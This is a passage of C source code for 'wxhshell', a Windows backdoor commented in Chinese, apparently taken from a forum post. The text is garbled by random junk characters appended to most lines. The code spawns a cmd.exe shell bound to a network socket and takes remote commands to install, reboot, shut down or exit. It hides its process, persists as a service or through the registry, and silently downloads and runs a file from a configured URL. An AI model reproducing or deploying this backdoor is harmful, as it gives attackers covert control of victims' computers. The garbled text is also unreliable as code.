  case '?': { uVU`tDzd:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); udqge?Tz  
    break; aSnp/g  
  } CUmH,`hu  
  // 安装 89eq[ |G_  
  case 'i': { d;suACW  
    if(Install()) 0my9l;X   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ML!9:vz  
    else {/M\Q@j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7|D|4!i2Y  
    break; L-'k7?%(  
    } qJs[i>P[W  
  // 卸载 p%RUHN3G[  
  case 'r': { oFg'wAO.  
    if(Uninstall()) }N3`gCy9eN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XdIah<F2  
    else JAb$M{t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mA{#]Yvf1  
    break; =&NOHT>  
    } a>Re^GT+z  
  // 显示 wxhshell 所在路径 b&t[S[P.V  
  case 'p': { 2>y:N.  
    char svExeFile[MAX_PATH]; $Lq:=7&LRn  
    strcpy(svExeFile,"\n\r"); J1 tDO?  
      strcat(svExeFile,ExeFile); 6mG3fMih.  
        send(wsh,svExeFile,strlen(svExeFile),0); 71iRG*O  
    break; @&R1wr1>I5  
    } 1i?=JAFfM  
  // 重启 af>3V(7  
  case 'b': { C-#.RI7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?eWJa  
    if(Boot(REBOOT)) C6k4g75U2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?n*fy  
    else { i!~>\r\6\  
    closesocket(wsh); 8 lS($@@{  
    ExitThread(0); {rGYRn,  
    } T^)plWw  
    break; Xem| o&  
    } i:Mc(mW  
  // 关机 l BiovT  
  case 'd': { ep?:;98|t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0$Ff#8  
    if(Boot(SHUTDOWN)) _g6wQdxT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |zMqJ.qu  
    else { EzP#Mnz^  
    closesocket(wsh); bXl8v  
    ExitThread(0); l P0k:  
    } iSd?N}2,I  
    break; ,C!n}+27  
    } xii$e  
  // 获取shell BvJ=iB<E  
  case 's': { ONWO`XD  
    CmdShell(wsh); =J.EH|  
    closesocket(wsh); 8t``NZ[  
    ExitThread(0); %|?1B$s0  
    break; !GNXt4D  
  } 1o#vhk/ "+  
  // 退出 zz3 r<?#5  
  case 'x': { [:pl-_.C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DcU C,  
    CloseIt(wsh); Q&wYc{TUbm  
    break;  ^@q#$/z  
    } h6FgS9H  
  // 离开 :@e\'~7sH  
  case 'q': { %c0z)R~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2?1}ZXr  
    closesocket(wsh); 22I Yrk  
    WSACleanup(); %MNk4UsV  
    exit(1);  ~^7  
    break; ((9YG  
        } [tN` :}?  
  } W"O-L  
  } }bgo )<i  
*.dKR  
  // 提示信息 (,TH~("{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | XLFV  
} &<{}8/x8(  
  } YAMfP8S  
u9@b <  
  return; P'FKk<  
} Qg{WMlyOP  
F G _,  
// shell模块句柄 {9{J^@@  
int CmdShell(SOCKET sock) $O]^Xm3{@  
{ g 2#F_  
STARTUPINFO si; M\jB)@)  
ZeroMemory(&si,sizeof(si)); %(NN *o9"q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dk4D+*R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UFk!dK+  
PROCESS_INFORMATION ProcessInfo; pg5&=  
char cmdline[]="cmd"; O 'Am RJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i"fCpkAP  
  return 0; ;r=?BbND?  
} f~v"zT  
b\M b*o  
// 自身启动模式 3 9yz~  
int StartFromService(void) VK$zq5D  
{ tzmETRwG  
typedef struct 0w+5'lOg  
{ U_}hfLILi  
  DWORD ExitStatus; N=<=dp(  
  DWORD PebBaseAddress; 'W+i[Ep5Q  
  DWORD AffinityMask; G)4SWu0<t  
  DWORD BasePriority; m/" J s  
  ULONG UniqueProcessId; \3: L Nt  
  ULONG InheritedFromUniqueProcessId; 6.UKB<sV  
}   PROCESS_BASIC_INFORMATION; fT x4vlI4  
] EV`dIk  
PROCNTQSIP NtQueryInformationProcess; ~RCg.&[ou  
M0 L-u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7>KQRLw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [DL|Ht>  
tUrNp~ve,  
  HANDLE             hProcess; ?0m?7{  
  PROCESS_BASIC_INFORMATION pbi; u<C $'V  
h/{8bC@bi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bf+^O)Ns^  
  if(NULL == hInst ) return 0; YjL t&D:IZ  
`+Xe'ey  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c-|kv[\a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DUQ9AT#3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *H?t;,\  
`TkbF9N+  
  if (!NtQueryInformationProcess) return 0; h\2}875  
p^Agh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fvO;lA>`  
  if(!hProcess) return 0; M!-q}5';  
"s> >V,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oN4G1U Kc  
:5G$d%O=2  
  CloseHandle(hProcess); 4"z;CGE7  
r /^'Xj'(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D|"sE>  
if(hProcess==NULL) return 0; @N]5&4NL  
V3 qT<}y|  
HMODULE hMod; >Rr!rtc'x  
char procName[255]; qZ233pc  
unsigned long cbNeeded; vD_u[j]  
u9 %;{:]h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3m3 EXz  
MHGjvSx  
  CloseHandle(hProcess); 2S'AIuIew  
~U/8 @gR  
if(strstr(procName,"services")) return 1; // 以服务启动 va@XbUC  
?${V{=)*X'  
  return 0; // 注册表启动 3 L*+8a  
} \N6<BS  
1x8(I&i  
// 主模块 U>bP}[&S  
int StartWxhshell(LPSTR lpCmdLine) g&q^.7c}  
{ 8b{U tT  
  SOCKET wsl; f8R+7Ykx  
BOOL val=TRUE; sN;(/O  
  int port=0; 9A(n _Rs7?  
  struct sockaddr_in door; G]at{(^Vz  
EgFl="0  
  if(wscfg.ws_autoins) Install(); l<s :%%CX  
" S ?Km  
port=atoi(lpCmdLine); >J9IRAm}sc  
JXlTN[O  
if(port<=0) port=wscfg.ws_port; 8 H,_vf  
2V 4`s'  
  WSADATA data; *>G ^!e.u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Vn@A]Jx^  
D\n>*x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,zc"udpKF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t`) 'LT  
  door.sin_family = AF_INET; PnI)n=(\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zI1(F67d`  
  door.sin_port = htons(port); G,+xT}@wu  
+}&pVe\t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t;h+Cf4  
closesocket(wsl); m=#aHF  
return 1; )~1.<((<  
} L,f^mX0<  
D`1I;Tb#  
  if(listen(wsl,2) == INVALID_SOCKET) { Ml'bZLwq  
closesocket(wsl); loml.e=87  
return 1; rve7YS'  
} jM{qRfOrg  
  Wxhshell(wsl); \MfR #k0  
  WSACleanup(); |:~("rA+v  
*QMF <ze  
return 0; f S(^["*G  
6'S5sRA  
} w2.qT+; v  
": mCZUt  
// 以NT服务方式启动 ]kyle3#-~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pHq{S;R2G  
{ YhEiN. ~  
DWORD   status = 0; =c :lS&B  
  DWORD   specificError = 0xfffffff; >l y&+3S  
!a.3OpQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W ]a7&S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FRb&@(;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mMel,iK=  
  serviceStatus.dwWin32ExitCode     = 0; $_4oN(WSz  
  serviceStatus.dwServiceSpecificExitCode = 0; jI@bTS o  
  serviceStatus.dwCheckPoint       = 0; U/}AiCdj@  
  serviceStatus.dwWaitHint       = 0; P c/.*kOT  
cP/F| uG5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MBnK&GS  
  if (hServiceStatusHandle==0) return; %iHyt,0v2  
[GcA.ABz  
status = GetLastError(); u40b? n.  
  if (status!=NO_ERROR) d,Im&j_Z  
{ !~6'@UYo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z:0-aDe M  
    serviceStatus.dwCheckPoint       = 0; T2c_vY   
    serviceStatus.dwWaitHint       = 0; mBYS"[S(  
    serviceStatus.dwWin32ExitCode     = status; JS<e`#c&  
    serviceStatus.dwServiceSpecificExitCode = specificError; AJJ%gxqGq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EKeBTb  
    return; 3C E 39W  
  } F] dmc,Q  
UXcH";*9b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Gnuo-8lb  
  serviceStatus.dwCheckPoint       = 0; u* #-7   
  serviceStatus.dwWaitHint       = 0; GQEI f$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A>rWGo.{E  
} e<ism?WG  
(h'$3~  
// 处理NT服务事件,比如:启动、停止 [wXwKr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /6Jy'"+'0  
{ 4]|9!=\  
switch(fdwControl) ~ wJ3AqNC?  
{ wj5qQ]WC  
case SERVICE_CONTROL_STOP: 2 zmQp  
  serviceStatus.dwWin32ExitCode = 0; S)Ub/`f{s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b |o`Q7Hj  
  serviceStatus.dwCheckPoint   = 0; yg-L^`t+B5  
  serviceStatus.dwWaitHint     = 0; %zIl_/s  
  { S'v V"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Zl.Lh  
  } 8AC. 2 v?_  
  return; %_%f# S  
case SERVICE_CONTROL_PAUSE: KoxGxHz^Y3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e0G}$ as  
  break; lEVQA*u[  
case SERVICE_CONTROL_CONTINUE: 2l\D~ y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oF 1W}DtA  
  break; khKv5K#)  
case SERVICE_CONTROL_INTERROGATE: cq@_*:~Or  
  break; 3. K{T  
}; U_ N5~#9   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5<:VJC<  
} E)rOlh7  
O,V6hU/ *  
// 标准应用程序主函数 }]Gi@Nh|o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >yPFL'  
{ Bsih<`KF^  
S1x.pLHj8  
// 获取操作系统版本 *'AS^2'  
OsIsNt=GetOsVer(); ]iE.fQ?;J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cnc\sMDJ\B  
,&zjOc_v  
  // 从命令行安装  01UR  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^J*G%*  
\r1kbf7?  
  // 下载执行文件 GtAJ#[5w  
if(wscfg.ws_downexe) { D~i@. k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iA^+/Lt  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8-y: ==C  
} K@$L~G  
qD=m{O8%_  
if(!OsIsNt) { :DJ7d  
// 如果时win9x,隐藏进程并且设置为注册表启动 -KU)7V  
HideProc(); 3_j C sX  
StartWxhshell(lpCmdLine); U`8^N.Snrp  
} G2[IO $  
else 6iV"Tl{z-  
  if(StartFromService()) 9wYtOQ{g  
  // 以服务方式启动 JtrDZ;^@  
  StartServiceCtrlDispatcher(DispatchTable); c|!A?>O?i  
else %M0mwty]  
  // 普通方式启动 YKX>@)Dxv  
  StartWxhshell(lpCmdLine); Wc`J`&#.#  
=|WV^0=S'%  
return 0; aJa^~*N/Aa  
}
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只看该作者 1 发表于: 2006-10-10
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